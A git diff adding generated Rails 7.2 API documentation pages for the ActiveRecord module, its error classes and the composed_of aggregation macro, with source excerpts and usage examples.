Feature requests should be discussed on the rails-core mailing list here:

+ + +

Validation error class to wrap association records’ errors, with index_errors support.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MigrationProxy=Struct.new(:name, :version, :filename, :scope) do +def initialize(name, version, filename, scope) +super +@migration = nil +end + +def basename +File.basename(filename) +end + +delegate :migrate, :announce, :write, :disable_ddl_transaction, to: :migration + +private +def migration +@migration ||= load_migration +end + +def load_migration +Object.send(:remove_const, name) rescue nil + +load(File.expand_path(filename)) +name.constantize.new(name, version) +end +end
 

MigrationProxy is used to defer loading of the actual migration classes until they are needed

Point=Struct.new(:x, :y)
UnknownAttributeError=ActiveModel::UnknownAttributeError
 

Active Model UnknownAttributeError

+ +

Raised when unknown attributes are supplied via mass assignment.

+ +
class Person
+  include ActiveModel::AttributeAssignment
+  include ActiveModel::Validations
+end
+
+person = Person.new
+person.assign_attributes(name: 'Gorby')
+# => ActiveModel::UnknownAttributeError: unknown attribute 'name' for Person.
+
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + application_record_class
+ [RW] + before_committed_on_all_records
+ [RW] + belongs_to_required_validates_foreign_key
+ [R] + default_timezone
+ [RW] + disable_prepared_statements
+ [RW] + index_nested_attribute_errors
+ [RW] + maintain_test_schema
+ [R] + permanent_connection_checkout
+ [RW] + query_transformers
+ [RW] + raise_on_assign_to_attr_readonly
+ [RW] + reading_role
+ [RW] + run_after_transaction_callbacks_in_order_defined
+ [RW] + writing_role
+ + + + +

Class Public methods

+ +
+

+ + action_on_strict_loading_violation + +

+ + +
+

Set the application to log or raise when an association violates strict loading. Defaults to :raise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 377
+  singleton_class.attr_accessor :action_on_strict_loading_violation
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_all_transactions_commit(&block) + +

+ + +
+

Registers a block to be called after all the current transactions have been committed.

+ +

If there is no currently open transaction, the block is called immediately.

+ +

If there are multiple nested transactions, the block is called after the outermost one has been committed,

+ +

If any of the currently open transactions is rolled back, the block is never called.

+ +

If multiple transactions are open across multiple databases, the block will be invoked if and once all of them have been committed. But note that nesting transactions across two distinct databases is a sharding anti-pattern that comes with a world of hurts.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 557
+  def self.after_all_transactions_commit(&block)
+    open_transactions = all_open_transactions
+
+    if open_transactions.empty?
+      yield
+    elsif open_transactions.size == 1
+      open_transactions.first.after_commit(&block)
+    else
+      count = open_transactions.size
+      callback = -> do
+        count -= 1
+        block.call if count.zero?
+      end
+      open_transactions.each do |t|
+        t.after_commit(&callback)
+      end
+      open_transactions = nil # rubocop:disable Lint/UselessAssignment avoid holding it in the closure
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + allow_deprecated_singular_associations_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 447
+  def self.allow_deprecated_singular_associations_name
+    ActiveRecord.deprecator.warn <<-WARNING.squish
+      `Rails.application.config.active_record.allow_deprecated_singular_associations_name`
+      is deprecated and will be removed in Rails 8.0.
+    WARNING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + allow_deprecated_singular_associations_name=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 454
+  def self.allow_deprecated_singular_associations_name=(value)
+    ActiveRecord.deprecator.warn <<-WARNING.squish
+      `Rails.application.config.active_record.allow_deprecated_singular_associations_name`
+      is deprecated and will be removed in Rails 8.0.
+    WARNING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + async_query_executor + +

+ + +
+

Sets the async_query_executor for an application. By default the thread pool executor set to nil which will not run queries in the background. Applications must configure a thread pool executor to use this feature. Options are:

+ +
* nil - Does not initialize a thread pool executor. Any async calls will be
+run in the foreground.
+* :global_thread_pool - Initializes a single +Concurrent::ThreadPoolExecutor+
+that uses the +async_query_concurrency+ for the +max_threads+ value.
+* :multi_thread_pool - Initializes a +Concurrent::ThreadPoolExecutor+ for each
+database connection. The initializer values are defined in the configuration hash.
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 276
+  singleton_class.attr_accessor :async_query_executor
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit_transaction_on_non_local_return() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 347
+  def self.commit_transaction_on_non_local_return
+    ActiveRecord.deprecator.warn <<-WARNING.squish
+      `Rails.application.config.active_record.commit_transaction_on_non_local_return`
+      is deprecated and will be removed in Rails 8.0.
+    WARNING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + commit_transaction_on_non_local_return=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 354
+  def self.commit_transaction_on_non_local_return=(value)
+    ActiveRecord.deprecator.warn <<-WARNING.squish
+      `Rails.application.config.active_record.commit_transaction_on_non_local_return`
+      is deprecated and will be removed in Rails 8.0.
+    WARNING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + db_warnings_action + +

+ + +
+

The action to take when database query produces warning. Must be one of :ignore, :log, :raise, :report, or a custom proc. The default is :ignore.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 218
+  singleton_class.attr_reader :db_warnings_action
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + db_warnings_action=(action) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 220
+  def self.db_warnings_action=(action)
+    @db_warnings_action =
+      case action
+      when :ignore
+        nil
+      when :log
+        ->(warning) do
+          warning_message = "[#{warning.class}] #{warning.message}"
+          warning_message += " (#{warning.code})" if warning.code
+          ActiveRecord::Base.logger.warn(warning_message)
+        end
+      when :raise
+        ->(warning) { raise warning }
+      when :report
+        ->(warning) { Rails.error.report(warning, handled: true) }
+      when Proc
+        action
+      else
+        raise ArgumentError, "db_warnings_action must be one of :ignore, :log, :raise, :report, or a custom proc."
+      end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + db_warnings_ignore + +

+ + +
+

Specify allowlist of database warnings.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 247
+  singleton_class.attr_accessor :db_warnings_ignore
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_timezone=(default_timezone) + +

+ + +
+

Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling dates and times from the database. This is set to :utc by default.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 203
+  def self.default_timezone=(default_timezone)
+    unless %i(local utc).include?(default_timezone)
+      raise ArgumentError, "default_timezone must be either :utc (default) or :local."
+    end
+
+    @default_timezone = default_timezone
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect_all!() + +

+ + +
+

Explicitly closes all database connections in all pools.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 540
+  def self.disconnect_all!
+    ConnectionAdapters::PoolConfig.disconnect_all!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_schema_after_migration + +

+ + +
+

Specify whether schema dump should happen at the end of the bin/rails db:migrate command. This is true by default, which is useful for the development environment. This should ideally be false in the production environment where dumping schema is rarely needed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 425
+  singleton_class.attr_accessor :dump_schema_after_migration
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump_schemas + +

+ + +
+

Specifies which database schemas to dump when calling db:schema:dump. If the value is :schema_search_path (the default), any schemas listed in schema_search_path are dumped. Use :all to dump all schemas regardless of schema_search_path, or a string of comma separated schemas for a custom list.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 435
+  singleton_class.attr_accessor :dump_schemas
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 529
+  def self.eager_load!
+    super
+    ActiveRecord::Locking.eager_load!
+    ActiveRecord::Scoping.eager_load!
+    ActiveRecord::Associations.eager_load!
+    ActiveRecord::AttributeMethods.eager_load!
+    ActiveRecord::ConnectionAdapters.eager_load!
+    ActiveRecord::Encryption.eager_load!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error_on_ignored_order + +

+ + +
+

Specifies if an error should be raised if the query has an order being ignored when doing batch queries. Useful in applications where the scope being ignored is error-worthy, rather than a warning.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 396
+  singleton_class.attr_accessor :error_on_ignored_order
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Active Record as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_secure_token_on + +

+ + +
+

Controls when to generate a value for has_secure_token declarations. Defaults to :create.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 490
+  singleton_class.attr_accessor :generate_secure_token_on
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + global_executor_concurrency=(global_executor_concurrency) + +

+ + +
+

Set the global_executor_concurrency. This configuration value can only be used with the global thread pool async query executor.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 291
+  def self.global_executor_concurrency=(global_executor_concurrency)
+    if self.async_query_executor.nil? || self.async_query_executor == :multi_thread_pool
+      raise ArgumentError, "`global_executor_concurrency` cannot be set when the executor is nil or set to `:multi_thread_pool`. For multiple thread pools, please set the concurrency in your database configuration."
+    end
+
+    @global_executor_concurrency = global_executor_concurrency
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lazily_load_schema_cache + +

+ + +
+

Lazily load the schema cache. This option will load the schema cache when a connection is established rather than on boot.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 188
+  singleton_class.attr_accessor :lazily_load_schema_cache
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + legacy_connection_handling=(_) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 256
+  def self.legacy_connection_handling=(_)
+    raise ArgumentError, <<~MSG.squish
+      The `legacy_connection_handling` setter was deprecated in 7.0 and removed in 7.1,
+      but is still defined in your configuration. Please remove this call as it no longer
+      has any effect."
+    MSG
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marshalling_format_version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 493
+  def self.marshalling_format_version
+    Marshalling.format_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + marshalling_format_version=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 497
+  def self.marshalling_format_version=(value)
+    Marshalling.format_version = value
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migration_strategy + +

+ + +
+

Specify strategy to use for executing migrations.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 416
+  singleton_class.attr_accessor :migration_strategy
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permanent_connection_checkout=(value) + +

+ + +
+

Defines whether ActiveRecord::Base.connection is allowed, deprecated, or entirely disallowed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 307
+  def self.permanent_connection_checkout=(value)
+    unless [true, :deprecated, :disallowed].include?(value)
+      raise ArgumentError, "permanent_connection_checkout must be one of: `true`, `:deprecated` or `:disallowed`"
+    end
+    @permanent_connection_checkout = value
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protocol_adapters + +

+ + +
+

Provides a mapping between database protocols/DBMSs and the underlying database adapter to be used. This is used only by the DATABASE_URL environment variable.

+ +

Example

+ +
DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+
+ +

The above URL specifies that MySQL is the desired protocol/DBMS, and the application configuration can then decide which adapter to use. For this example the default mapping is from mysql to mysql2, but :trilogy is also supported.

+ +
ActiveRecord.protocol_adapters.mysql = "mysql2"
+
+ +

The protocols names are arbitrary, and external database adapters can be registered and set here.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 520
+  singleton_class.attr_accessor :protocol_adapters
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + queues + +

+ + +
+

Specifies the names of the queues used by background jobs.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 329
+  singleton_class.attr_accessor :queues
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + raise_int_wider_than_64bit + +

+ + +
+

Application configurable boolean that denotes whether or not to raise an exception when the PostgreSQLAdapter is provided with an integer that is wider than signed 64bit representation

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 476
+  singleton_class.attr_accessor :raise_int_wider_than_64bit
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_cache_ignored_tables + +

+ + +
+

A list of tables or regex’s to match tables to ignore when dumping the schema cache. For example if this is set to +[/^_/]+ the schema cache will not dump tables named with an underscore.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 196
+  singleton_class.attr_accessor :schema_cache_ignored_tables
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_format + +

+ + +
+

Specifies the format to use when dumping the database schema with Rails’ Rakefile. If :sql, the schema is dumped as (potentially database- specific) SQL statements. If :ruby, the schema is dumped as an ActiveRecord::Schema file which can be loaded into any database that supports migrations. Use :ruby if you want to have different database adapters for, e.g., your development and test environments.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 388
+  singleton_class.attr_accessor :schema_format
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + timestamped_migrations + +

+ + +
+

Specify whether or not to use timestamps for migration versions

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 402
+  singleton_class.attr_accessor :timestamped_migrations
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_yaml_unsafe_load + +

+ + +
+

Application configurable boolean that instructs the YAML Coder to use an unsafe load if set to true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 468
+  singleton_class.attr_accessor :use_yaml_unsafe_load
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_migration_timestamps + +

+ + +
+

Specify whether or not to validate migration timestamps. When set, an error will be raised if a timestamp is more than a day ahead of the timestamp associated with the current time. timestamped_migrations must be set to true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 410
+  singleton_class.attr_accessor :validate_migration_timestamps
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verbose_query_logs + +

+ + +
+

Specifies if the methods calling database queries should be logged below their relevant queries. Defaults to false.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 322
+  singleton_class.attr_accessor :verbose_query_logs
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verify_foreign_keys_for_fixtures + +

+ + +
+

If true, Rails will verify all foreign keys in the database after loading fixtures. An error will be raised if there are any foreign key violations, indicating incorrectly written fixtures. Supported by PostgreSQL and SQLite.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 444
+  singleton_class.attr_accessor :verify_foreign_keys_for_fixtures
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Active Record as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + warn_on_records_fetched_greater_than + +

+ + +
+

Specify a threshold for the size of query result sets. If the number of records in the set exceeds the threshold, a warning is logged. This can be used to identify queries which load thousands of records and potentially cause memory bloat.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 367
+  singleton_class.attr_accessor :warn_on_records_fetched_greater_than
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yaml_column_permitted_classes + +

+ + +
+

Application configurable array that provides additional permitted classes to Psych safe_load in the YAML Coder

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record.rb, line 483
+  singleton_class.attr_accessor :yaml_column_permitted_classes
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ActiveRecordError.html b/src/7.2/classes/ActiveRecord/ActiveRecordError.html new file mode 100644 index 0000000000..a55760f842 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ActiveRecordError.html @@ -0,0 +1,68 @@ +--- +title: ActiveRecord::ActiveRecordError +layout: default +--- +
+ +
+
+ +
+ +

Active Record Errors

+ +

Generic Active Record exception class.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AdapterError.html b/src/7.2/classes/ActiveRecord/AdapterError.html new file mode 100644 index 0000000000..072a30745d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AdapterError.html @@ -0,0 +1,128 @@ +--- +title: ActiveRecord::AdapterError +layout: default +--- +
+ +
+
+ +
+ +

Superclass for all errors raised from an Active Record adapter.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + connection_pool
+ + + + +

Class Public methods

+ +
+

+ + new(message = nil, connection_pool: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 56
+    def initialize(message = nil, connection_pool: nil)
+      @connection_pool = connection_pool
+      super(message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AdapterNotFound.html b/src/7.2/classes/ActiveRecord/AdapterNotFound.html new file mode 100644 index 0000000000..973608920f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AdapterNotFound.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::AdapterNotFound +layout: default +--- +
+ +
+
+ +
+ +

Raised when Active Record cannot find database adapter specified in config/database.yml or programmatically.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AdapterNotSpecified.html b/src/7.2/classes/ActiveRecord/AdapterNotSpecified.html new file mode 100644 index 0000000000..f2d750e7c4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AdapterNotSpecified.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::AdapterNotSpecified +layout: default +--- +
+ +
+
+ +
+ +

Raised when adapter not specified on connection (or configuration file config/database.yml misses adapter field).

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/AdapterTimeout.html b/src/7.2/classes/ActiveRecord/AdapterTimeout.html new file mode 100644 index 0000000000..de6f5a8f73 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/AdapterTimeout.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::AdapterTimeout +layout: default +--- +
+ +
+
+ +
+ +

AdapterTimeout will be raised when database clients times out while waiting from the server.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Aggregations.html b/src/7.2/classes/ActiveRecord/Aggregations.html new file mode 100644 index 0000000000..f696843a08 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Aggregations.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Aggregations +layout: default +--- +
+ +
+
+ +
+ +

See ActiveRecord::Aggregations::ClassMethods for documentation

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Aggregations/ClassMethods.html b/src/7.2/classes/ActiveRecord/Aggregations/ClassMethods.html new file mode 100644 index 0000000000..99f2a1c7e7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Aggregations/ClassMethods.html @@ -0,0 +1,297 @@ +--- +title: ActiveRecord::Aggregations::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Aggregations

+ +

Active Record implements aggregation through a macro-like class method called composed_of for representing attributes as value objects. It expresses relationships like β€œAccount [is] composed of Money [among other things]” or β€œPerson [is] composed of [an] address”. Each call to the macro adds a description of how the value objects are created from the attributes of the entity object (when the entity is initialized either as a new object or from finding an existing object) and how it can be turned back into attributes (when the entity is saved to the database).

+ +
class Customer < ActiveRecord::Base
+  composed_of :balance, class_name: "Money", mapping: { balance: :amount }
+  composed_of :address, mapping: { address_street: :street, address_city: :city }
+end
+
+ +

The customer class now has the following methods to manipulate the value objects:

+
  • +

    Customer#balance, Customer#balance=(money)

    +
  • +

    Customer#address, Customer#address=(address)

    +
+ +

These methods will operate with value objects like the ones described below:

+ +
class Money
+  include Comparable
+  attr_reader :amount, :currency
+  EXCHANGE_RATES = { "USD_TO_DKK" => 6 }
+
+  def initialize(amount, currency = "USD")
+    @amount, @currency = amount, currency
+  end
+
+  def exchange_to(other_currency)
+    exchanged_amount = (amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor
+    Money.new(exchanged_amount, other_currency)
+  end
+
+  def ==(other_money)
+    amount == other_money.amount && currency == other_money.currency
+  end
+
+  def <=>(other_money)
+    if currency == other_money.currency
+      amount <=> other_money.amount
+    else
+      amount <=> other_money.exchange_to(currency).amount
+    end
+  end
+end
+
+class Address
+  attr_reader :street, :city
+  def initialize(street, city)
+    @street, @city = street, city
+  end
+
+  def close_to?(other_address)
+    city == other_address.city
+  end
+
+  def ==(other_address)
+    city == other_address.city && street == other_address.street
+  end
+end
+
+ +

Now it’s possible to access attributes from the database through the value objects instead. If you choose to name the composition the same as the attribute’s name, it will be the only way to access that attribute. That’s the case with our balance attribute. You interact with the value objects just like you would with any other attribute:

+ +
customer.balance = Money.new(20)     # sets the Money value object and the attribute
+customer.balance                     # => Money value object
+customer.balance.exchange_to("DKK")  # => Money.new(120, "DKK")
+customer.balance > Money.new(10)     # => true
+customer.balance == Money.new(20)    # => true
+customer.balance < Money.new(5)      # => false
+
+ +

Value objects can also be composed of multiple attributes, such as the case of Address. The order of the mappings will determine the order of the parameters.

+ +
customer.address_street = "Hyancintvej"
+customer.address_city   = "Copenhagen"
+customer.address        # => Address.new("Hyancintvej", "Copenhagen")
+
+customer.address = Address.new("May Street", "Chicago")
+customer.address_street # => "May Street"
+customer.address_city   # => "Chicago"
+
+ +

Writing value objects

+ +

Value objects are immutable and interchangeable objects that represent a given value, such as a Money object representing $5. Two Money objects both representing $5 should be equal (through methods such as == and <=> from Comparable if ranking makes sense). This is unlike entity objects where equality is determined by identity. An entity class such as Customer can easily have two different objects that both have an address on Hyancintvej. Entity identity is determined by object or relational unique identifiers (such as primary keys). Normal ActiveRecord::Base classes are entity objects.

+ +

It’s also important to treat the value objects as immutable. Don’t allow the Money object to have its amount changed after creation. Create a new Money object with the new value instead. The Money#exchange_to method is an example of this. It returns a new value object instead of changing its own values. Active Record won’t persist value objects that have been changed through means other than the writer method.

+ +

The immutable requirement is enforced by Active Record by freezing any object assigned as a value object. Attempting to change it afterwards will result in a RuntimeError.

+ +

Read more about value objects on c2.com/cgi/wiki?ValueObject and on the dangers of not keeping value objects immutable on c2.com/cgi/wiki?ValueObjectsShouldBeImmutable

+ +

Custom constructors and converters

+ +

By default value objects are initialized by calling the new constructor of the value class passing each of the mapped attributes, in the order specified by the :mapping option, as arguments. If the value class doesn’t support this convention then composed_of allows a custom constructor to be specified.

+ +

When a new value is assigned to the value object, the default assumption is that the new value is an instance of the value class. Specifying a custom converter allows the new value to be automatically converted to an instance of value class if necessary.

+ +

For example, the NetworkResource model has network_address and cidr_range attributes that should be aggregated using the NetAddr::CIDR value class (www.rubydoc.info/gems/netaddr/1.5.0/NetAddr/CIDR). The constructor for the value class is called create and it expects a CIDR address string as a parameter. New values can be assigned to the value object using either another NetAddr::CIDR object, a string or an array. The :constructor and :converter options can be used to meet these requirements:

+ +
class NetworkResource < ActiveRecord::Base
+  composed_of :cidr,
+              class_name: 'NetAddr::CIDR',
+              mapping: { network_address: :network, cidr_range: :bits },
+              allow_nil: true,
+              constructor: Proc.new { |network_address, cidr_range| NetAddr::CIDR.create("#{network_address}/#{cidr_range}") },
+              converter: Proc.new { |value| NetAddr::CIDR.create(value.is_a?(Array) ? value.join('/') : value) }
+end
+
+# This calls the :constructor
+network_resource = NetworkResource.new(network_address: '192.168.0.1', cidr_range: 24)
+
+# These assignments will both use the :converter
+network_resource.cidr = [ '192.168.2.1', 8 ]
+network_resource.cidr = '192.168.0.1/24'
+
+# This assignment won't use the :converter as the value is already an instance of the value class
+network_resource.cidr = NetAddr::CIDR.create('192.168.2.1/8')
+
+# Saving and then reloading will use the :constructor on reload
+network_resource.save
+network_resource.reload
+
+ +

Finding records by a value object

+ +

Once a composed_of relationship is specified for a model, records can be loaded from the database by specifying an instance of the value object in the conditions hash. The following example finds all customers with address_street equal to β€œMay Street” and address_city equal to β€œChicago”:

+ +
Customer.where(address: Address.new("May Street", "Chicago"))
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + composed_of(part_id, options = {}) + +

+ + +
+

Adds reader and writer methods for manipulating a value object: composed_of :address adds address and address=(new_address) methods.

+ +

Options are:

+
  • +

    :class_name - Specifies the class name of the association. Use it only if that name can’t be inferred from the part id. So composed_of :address will by default be linked to the Address class, but if the real class name is CompanyAddress, you’ll have to specify it with this option.

    +
  • +

    :mapping - Specifies the mapping of entity attributes to attributes of the value object. Each mapping is represented as a key-value pair where the key is the name of the entity attribute and the value is the name of the attribute in the value object. The order in which mappings are defined determines the order in which attributes are sent to the value class constructor. The mapping can be written as a hash or as an array of pairs.

    +
  • +

    :allow_nil - Specifies that the value object will not be instantiated when all mapped attributes are nil. Setting the value object to nil has the effect of writing nil to all mapped attributes. This defaults to false.

    +
  • +

    :constructor - A symbol specifying the name of the constructor method or a Proc that is called to initialize the value object. The constructor is passed all of the mapped attributes, in the order that they are defined in the :mapping option, as arguments and uses them to instantiate a :class_name object. The default is :new.

    +
  • +

    :converter - A symbol specifying the name of a class method of :class_name or a Proc that is called when a new value is assigned to the value object. The converter is passed the single value that is used in the assignment and is only called if the new value is not an instance of :class_name. If :allow_nil is set to true, the converter can return nil to skip the assignment.

    +
+ +

Option examples:

+ +
composed_of :temperature, mapping: { reading: :celsius }
+composed_of :balance, class_name: "Money", mapping: { balance: :amount }
+composed_of :address, mapping: { address_street: :street, address_city: :city }
+composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+composed_of :gps_location
+composed_of :gps_location, allow_nil: true
+composed_of :ip_address,
+            class_name: 'IPAddr',
+            mapping: { ip: :to_i },
+            constructor: Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
+            converter: Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/aggregations.rb, line 225
+        def composed_of(part_id, options = {})
+          options.assert_valid_keys(:class_name, :mapping, :allow_nil, :constructor, :converter)
+
+          unless self < Aggregations
+            include Aggregations
+          end
+
+          name        = part_id.id2name
+          class_name  = options[:class_name]  || name.camelize
+          mapping     = options[:mapping]     || [ name, name ]
+          mapping     = [ mapping ] unless mapping.first.is_a?(Array)
+          allow_nil   = options[:allow_nil]   || false
+          constructor = options[:constructor] || :new
+          converter   = options[:converter]
+
+          reader_method(name, class_name, mapping, allow_nil, constructor)
+          writer_method(name, class_name, mapping, allow_nil, converter)
+
+          reflection = ActiveRecord::Reflection.create(:composed_of, part_id, nil, options, self)
+          Reflection.add_aggregate_reflection self, part_id, reflection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
